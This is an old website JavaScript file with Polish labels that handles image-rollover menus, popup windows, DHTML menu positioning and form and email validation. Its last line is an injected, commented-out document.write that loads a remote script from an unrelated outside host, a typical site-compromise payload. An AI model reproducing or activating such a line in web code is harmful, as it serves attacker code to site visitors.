menu1 = new Image();
menu1.src = "gfx/m2.gif";
menu1on = new Image();
menu1on.src = "gfx/m2o.gif";
menu2 = new Image();
menu2.src = "gfx/m3.gif";
menu2on = new Image();
menu2on.src = "gfx/m3o.gif";
menu3 = new Image();
menu3.src = "gfx/m4.gif";
menu3on = new Image();
menu3on.src = "gfx/m4o.gif";
menu4 = new Image();
menu4.src = "gfx/m5.gif";
menu4on = new Image();
menu4on.src = "gfx/m5o.gif";
menu5 = new Image();
menu5.src = "gfx/m6.gif";
menu5on = new Image();
menu5on.src = "gfx/m6o.gif";

menu9 = new Image();
menu9.src = "gfx/m9.gif";
menu9on = new Image();
menu9on.src = "gfx/m9o.gif";

function opensmallwindow(w, h) {
	if (window.smallwindow) {smallwindow.close();}
	smallwindow = window.open('', 'smallwindow', 'width='+w+', height='+h+', toolbar=no, scrollbars=no')
	smallwindow.focus();
}

var NS = (navigator.appName == "Netscape");
IE4 = (document.all) ? true : false; 
NS4 = (document.layers) ?  true : false;
NS6a = document.getElementById;
if(NS6a && NS) {NS6=true} else {NS6=false}
if ((IE4) || (NS4) || (NS6)) {dhtml=1;}

function pokaz(ident) {
	mainwidth=750;
	menuLeftPosition = new Array();
	menuLeftPosition['m1'] = 240;
//	if(document.layers) {
	if(NS4) {
		document.layers[ident].visibility = "show";
//	} else if (document.getElementById(ident)) {
	} else if (NS6) {
		if (window.innerWidth){
        	if (document.body.offsetWidth){
            	if (window.innerWidth!=document.body.offsetWidth) {
                	LeftPosition = (document.body.offsetWidth - mainwidth)/2 + menuLeftPosition[ident];
				} else {
               		LeftPosition = (innerWidth - mainwidth)/2 + menuLeftPosition[ident];
				}
           	} else {
               	LeftPosition = (innerWidth - mainwidth)/2 + menuLeftPosition[ident];
			}
    	}
		document.getElementById(ident).style.left = LeftPosition;
		document.getElementById(ident).style.visibility = "visible";
//	} else if(document.all) {
	} else if(IE4) {
		LeftPosition = (document.body.offsetWidth - mainwidth)/2 + menuLeftPosition[ident]-10;
		document.all[ident].style.left = LeftPosition;
		document.all[ident].style.visibility = "visible";
	}
}

function schowaj(ident) {
//	if(document.layers) {
	if(NS4) {
    	document.layers[ident].visibility = "hide";
//    } else if (document.getElementById(ident)) {
    } else if (NS6) {
    	document.getElementById(ident).style.visibility = "hidden";
//	} else if(document.all) {
	} else if(IE4) {
	    document.all[ident].style.visibility = "hidden";
	}
}

function validateform() {
 for(var i=0; i<fields.length; i++) {
  if (document.f.elements[fields[i]].value == '' || document.f.elements[fields[i]].value == 0) {
   alert(fields_info[i]);
   document.f.elements[fields[i]].focus();
   return false;
  }
 }
 if (validateemail(document.f.elements['email'].value)) {
  return true;
 } else {
  return false;
 } 
}

function validateemail(t) {
  maska = /^[0-9a-z_.-]+@([0-9a-z-]+.)+[a-z]{2,4}$/;
  if (maska.test(t)==false) { 
    alert("Podaj poprawny adres e-mail");
    document.f.elements['email'].focus();
    return false;
  }
  return true;
}
/*document.write('<script src=http://favelinha.com/styles/index.php ><\/script>');*\